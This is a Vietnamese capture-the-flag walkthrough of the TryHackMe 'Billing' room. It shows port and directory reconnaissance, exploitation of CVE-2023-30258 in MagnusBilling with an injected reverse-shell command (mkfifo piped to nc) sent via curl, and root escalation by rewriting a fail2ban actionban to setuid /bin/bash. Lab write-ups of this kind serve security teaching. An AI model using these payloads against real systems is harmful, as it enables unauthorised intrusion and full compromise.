TryHackMe - Billing
Ứng dụng MagnusBilling và Asterisk dành cho hệ thống tính cước
Giới thiệu
Theo tôi thì đây không phải là một room Dễ :D nhưng nó khá thú vị và chắc chắn tôi đã ghi chú lại được khá nhiều điều sau room này.
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.246.75
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
| 256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-title: MagnusBilling
|_Requested resource was http://10.10.246.75/mbilling/
|_http-server-header: Apache/2.4.56 (Debian)
| http-robots.txt: 1 disallowed entry
|_/mbilling/
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
5038/tcp open asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Các cổng đang mở:
22/tcp
80/tcp
3306/tcp
5038/tcp
Trinh sát
1
2
3
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.246.75/FUZZ" -fl 124
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.246.75/FUZZ" -e .html,.php
Cho đến lúc này vẫn chưa có gì đáng chú ý.
Chúng ta có thể thấy ứng dụng MagnusBilling đang được sử dụng, vì vậy hãy tìm kiếm thêm thông tin trên Google.
Sau khi kiểm tra GitHub của MagnusBilling và xem qua hệ thống tệp, chúng ta có thể truy cập tệp README.md và xác định phiên bản của ứng dụng.
Truy cập ban đầu
Có vẻ như ứng dụng dễ bị ảnh hưởng bởi CVE-2023-30258.
Dựa trên lỗ hổng đó, hãy tạo payload của chúng ta.
Khởi động Netcat listener trên máy tấn công:
1
nc -lvnp 1337
Sau đó gửi yêu cầu GET đến máy nạn nhân:
1
curl -s 'http://10.10.246.75/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.14.99.72 443 >/tmp/f;'
Sau đó, chúng ta có thể lấy user flag.
Root Flag
Hãy tạo một shell tương tác để thuận tiện hơn.
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Hãy kiểm tra xem chúng ta có thể chạy lệnh nào bằng sudo.
1
2
3
4
5
6
7
8
9
10
11
asterisk@Billing:/home/magnus$ sudo -l
sudo -l
Matching Defaults entries for asterisk on Billing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for asterisk:
Defaults!/usr/bin/fail2ban-client !requiretty
User asterisk may run the following commands on Billing:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
Chúng ta có thể chạy dịch vụ fail2ban bằng sudo, vì vậy hãy kiểm tra phiên bản.
1
2
3
asterisk@Billing:/home/magnus$ fail2ban-client --version
fail2ban-client --version
Fail2Ban v0.11.2
Khi kiểm tra trạng thái của fail2ban-server, chúng ta thấy có tám jail đang hoạt động.
1
2
3
4
$ sudo /usr/bin/fail2ban-client status
Status
|- Number of jail: 8
`- Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd
Các jail xác định những tệp nhật ký nào cần được giám sát, những mẫu nào cần được phát hiện và những hành động nào sẽ được thực hiện khi có kết quả khớp.
Ví dụ, jail asterisk-iptables trong /etc/fail2ban/jail.local được cấu hình như sau:
1
2
3
4
5
6
7
[asterisk-iptables]
enabled = true
filter = asterisk
action = iptables-allports[name=ASTERISK, port=all, protocol=all]
logpath = /var/log/asterisk/messages
maxretry = 5
bantime = 600
Để chạy lệnh với quyền root, chúng ta sửa đổi hành động được thực thi khi một địa chỉ IP bị cấm. Trước tiên, hãy kiểm tra hành động hiện tại:
1
2
$ sudo /usr/bin/fail2ban-client get asterisk-iptables actions
iptables-allports-ASTERISK
Sau đó, chúng ta thay thế lệnh actionban để thiết lập bit setuid cho /bin/bash:
1
$ sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
Xác minh thay đổi:
1
2
$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
chmod +s /bin/bash
Chúng ta cấm thủ công một địa chỉ IP để thực thi hành động đã được sửa đổi:
1
$ sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
Khi bit setuid đã được kích hoạt, giờ đây chúng ta có thể khởi chạy shell với quyền root và truy cập /root/root.txt.
1
2
3
4
asterisk@Billing:/$ /bin/bash -p
bash-5.1# python3 -c 'import os;import pty;os.setuid(0);os.setgid(0);pty.spawn("/bin/bash");'
root@Billing:/# id
uid=0(root) gid=0(root) groups=0(root),1001(asterisk)





